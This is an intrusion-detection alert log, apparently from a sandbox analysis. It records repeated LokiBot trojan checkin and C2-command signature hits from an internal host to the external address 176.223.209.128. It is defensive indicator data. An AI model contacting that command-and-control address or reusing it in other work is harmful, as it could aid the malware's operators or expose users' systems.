11/25/21-10:50:44.009708	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50142	80	192.168.11.20	176.223.209.128
11/25/21-10:50:44.009708	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50142	80	192.168.11.20	176.223.209.128
11/25/21-10:50:44.009708	TCP	2025381	ET TROJAN LokiBot Checkin	50142	80	192.168.11.20	176.223.209.128
11/25/21-10:50:44.009708	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50142	80	192.168.11.20	176.223.209.128
11/25/21-10:50:44.527358	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50143	80	192.168.11.20	176.223.209.128
11/25/21-10:50:44.527358	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50143	80	192.168.11.20	176.223.209.128
11/25/21-10:50:44.527358	TCP	2025381	ET TROJAN LokiBot Checkin	50143	80	192.168.11.20	176.223.209.128
11/25/21-10:50:44.527358	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50143	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.039531	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50144	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.039531	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50144	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.039531	TCP	2025381	ET TROJAN LokiBot Checkin	50144	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.039531	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50144	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.509964	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50145	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.509964	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50145	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.509964	TCP	2025381	ET TROJAN LokiBot Checkin	50145	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.509964	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50145	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.990994	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50146	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.990994	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50146	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.990994	TCP	2025381	ET TROJAN LokiBot Checkin	50146	80	192.168.11.20	176.223.209.128
11/25/21-10:50:45.990994	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50146	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.446020	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50147	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.446020	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50147	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.446020	TCP	2025381	ET TROJAN LokiBot Checkin	50147	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.446020	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50147	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.964294	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50148	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.964294	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50148	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.964294	TCP	2025381	ET TROJAN LokiBot Checkin	50148	80	192.168.11.20	176.223.209.128
11/25/21-10:50:46.964294	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50148	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.480203	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50149	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.480203	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50149	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.480203	TCP	2025381	ET TROJAN LokiBot Checkin	50149	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.480203	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50149	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.989430	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50150	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.989430	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50150	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.989430	TCP	2025381	ET TROJAN LokiBot Checkin	50150	80	192.168.11.20	176.223.209.128
11/25/21-10:50:47.989430	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50150	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.492018	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50151	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.492018	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50151	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.492018	TCP	2025381	ET TROJAN LokiBot Checkin	50151	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.492018	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50151	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.956654	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50152	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.956654	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50152	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.956654	TCP	2025381	ET TROJAN LokiBot Checkin	50152	80	192.168.11.20	176.223.209.128
11/25/21-10:50:48.956654	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50152	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.453055	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50153	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.453055	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50153	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.453055	TCP	2025381	ET TROJAN LokiBot Checkin	50153	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.453055	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50153	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.981482	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50154	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.981482	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50154	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.981482	TCP	2025381	ET TROJAN LokiBot Checkin	50154	80	192.168.11.20	176.223.209.128
11/25/21-10:50:49.981482	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50154	80	192.168.11.20	176.223.209.128
11/25/21-10:50:50.494751	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50155	80	192.168.11.20	176.223.209.128
11/25/21-10:50:50.494751	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50155	80	192.168.11.20	176.223.209.128
11/25/21-10:50:50.494751	TCP	2025381	ET TROJAN LokiBot Checkin	50155	80	192.168.11.20	176.223.209.128
11/25/21-10:50:50.494751	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50155	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.037018	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50156	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.037018	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50156	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.037018	TCP	2025381	ET TROJAN LokiBot Checkin	50156	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.037018	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50156	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.551709	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50157	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.551709	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50157	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.551709	TCP	2025381	ET TROJAN LokiBot Checkin	50157	80	192.168.11.20	176.223.209.128
11/25/21-10:50:51.551709	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50157	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.056652	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50158	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.056652	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50158	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.056652	TCP	2025381	ET TROJAN LokiBot Checkin	50158	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.056652	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50158	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.572450	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50159	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.572450	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50159	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.572450	TCP	2025381	ET TROJAN LokiBot Checkin	50159	80	192.168.11.20	176.223.209.128
11/25/21-10:50:52.572450	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50159	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.087854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50160	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.087854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50160	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.087854	TCP	2025381	ET TROJAN LokiBot Checkin	50160	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.087854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50160	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.604490	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50161	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.604490	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50161	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.604490	TCP	2025381	ET TROJAN LokiBot Checkin	50161	80	192.168.11.20	176.223.209.128
11/25/21-10:50:53.604490	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50161	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.126117	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50162	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.126117	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50162	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.126117	TCP	2025381	ET TROJAN LokiBot Checkin	50162	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.126117	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50162	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.652803	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50163	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.652803	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50163	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.652803	TCP	2025381	ET TROJAN LokiBot Checkin	50163	80	192.168.11.20	176.223.209.128
11/25/21-10:50:54.652803	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50163	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.150613	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50164	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.150613	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50164	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.150613	TCP	2025381	ET TROJAN LokiBot Checkin	50164	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.150613	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50164	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.643187	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50166	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.643187	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50166	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.643187	TCP	2025381	ET TROJAN LokiBot Checkin	50166	80	192.168.11.20	176.223.209.128
11/25/21-10:50:55.643187	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50166	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.163152	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50167	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.163152	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50167	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.163152	TCP	2025381	ET TROJAN LokiBot Checkin	50167	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.163152	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50167	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.612755	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50168	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.612755	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50168	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.612755	TCP	2025381	ET TROJAN LokiBot Checkin	50168	80	192.168.11.20	176.223.209.128
11/25/21-10:50:56.612755	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50168	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.123615	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50169	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.123615	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50169	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.123615	TCP	2025381	ET TROJAN LokiBot Checkin	50169	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.123615	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50169	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.646528	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50170	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.646528	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50170	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.646528	TCP	2025381	ET TROJAN LokiBot Checkin	50170	80	192.168.11.20	176.223.209.128
11/25/21-10:50:57.646528	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50170	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.136639	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50171	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.136639	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50171	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.136639	TCP	2025381	ET TROJAN LokiBot Checkin	50171	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.136639	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50171	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.574452	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50172	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.574452	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50172	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.574452	TCP	2025381	ET TROJAN LokiBot Checkin	50172	80	192.168.11.20	176.223.209.128
11/25/21-10:50:58.574452	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50172	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.081034	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50173	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.081034	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50173	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.081034	TCP	2025381	ET TROJAN LokiBot Checkin	50173	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.081034	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50173	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.594204	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50174	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.594204	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50174	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.594204	TCP	2025381	ET TROJAN LokiBot Checkin	50174	80	192.168.11.20	176.223.209.128
11/25/21-10:50:59.594204	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50174	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.115568	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50175	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.115568	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50175	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.115568	TCP	2025381	ET TROJAN LokiBot Checkin	50175	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.115568	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50175	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.621599	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50176	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.621599	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50176	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.621599	TCP	2025381	ET TROJAN LokiBot Checkin	50176	80	192.168.11.20	176.223.209.128
11/25/21-10:51:00.621599	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50176	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.133542	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50177	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.133542	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50177	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.133542	TCP	2025381	ET TROJAN LokiBot Checkin	50177	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.133542	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50177	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.656411	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50178	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.656411	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50178	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.656411	TCP	2025381	ET TROJAN LokiBot Checkin	50178	80	192.168.11.20	176.223.209.128
11/25/21-10:51:01.656411	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50178	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.166862	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50179	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.166862	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50179	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.166862	TCP	2025381	ET TROJAN LokiBot Checkin	50179	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.166862	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50179	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.675779	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50180	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.675779	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50180	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.675779	TCP	2025381	ET TROJAN LokiBot Checkin	50180	80	192.168.11.20	176.223.209.128
11/25/21-10:51:02.675779	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50180	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.197639	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50181	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.197639	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50181	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.197639	TCP	2025381	ET TROJAN LokiBot Checkin	50181	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.197639	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50181	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.728227	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50182	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.728227	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50182	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.728227	TCP	2025381	ET TROJAN LokiBot Checkin	50182	80	192.168.11.20	176.223.209.128
11/25/21-10:51:03.728227	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50182	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.168732	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50183	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.168732	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50183	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.168732	TCP	2025381	ET TROJAN LokiBot Checkin	50183	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.168732	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50183	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.679603	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50184	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.679603	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50184	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.679603	TCP	2025381	ET TROJAN LokiBot Checkin	50184	80	192.168.11.20	176.223.209.128
11/25/21-10:51:04.679603	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50184	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.197175	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50185	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.197175	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50185	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.197175	TCP	2025381	ET TROJAN LokiBot Checkin	50185	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.197175	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50185	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.722649	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50186	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.722649	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50186	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.722649	TCP	2025381	ET TROJAN LokiBot Checkin	50186	80	192.168.11.20	176.223.209.128
11/25/21-10:51:05.722649	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50186	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.242183	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50187	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.242183	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50187	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.242183	TCP	2025381	ET TROJAN LokiBot Checkin	50187	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.242183	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50187	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.737953	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50188	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.737953	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50188	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.737953	TCP	2025381	ET TROJAN LokiBot Checkin	50188	80	192.168.11.20	176.223.209.128
11/25/21-10:51:06.737953	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50188	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.173148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50189	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.173148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50189	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.173148	TCP	2025381	ET TROJAN LokiBot Checkin	50189	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.173148	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50189	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.681215	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50190	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.681215	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50190	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.681215	TCP	2025381	ET TROJAN LokiBot Checkin	50190	80	192.168.11.20	176.223.209.128
11/25/21-10:51:07.681215	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50190	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.197546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50191	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.197546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50191	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.197546	TCP	2025381	ET TROJAN LokiBot Checkin	50191	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.197546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50191	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.699100	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50192	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.699100	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50192	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.699100	TCP	2025381	ET TROJAN LokiBot Checkin	50192	80	192.168.11.20	176.223.209.128
11/25/21-10:51:08.699100	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50192	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.171002	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50193	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.171002	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50193	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.171002	TCP	2025381	ET TROJAN LokiBot Checkin	50193	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.171002	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50193	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.689189	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50194	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.689189	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50194	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.689189	TCP	2025381	ET TROJAN LokiBot Checkin	50194	80	192.168.11.20	176.223.209.128
11/25/21-10:51:09.689189	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50194	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.157749	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50195	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.157749	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50195	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.157749	TCP	2025381	ET TROJAN LokiBot Checkin	50195	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.157749	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50195	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.674042	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50196	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.674042	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50196	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.674042	TCP	2025381	ET TROJAN LokiBot Checkin	50196	80	192.168.11.20	176.223.209.128
11/25/21-10:51:10.674042	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50196	80	192.168.11.20	176.223.209.128
11/25/21-10:51:11.173859	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50197	80	192.168.11.20	176.223.209.128
11/25/21-10:51:11.173859	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50197	80	192.168.11.20	176.223.209.128
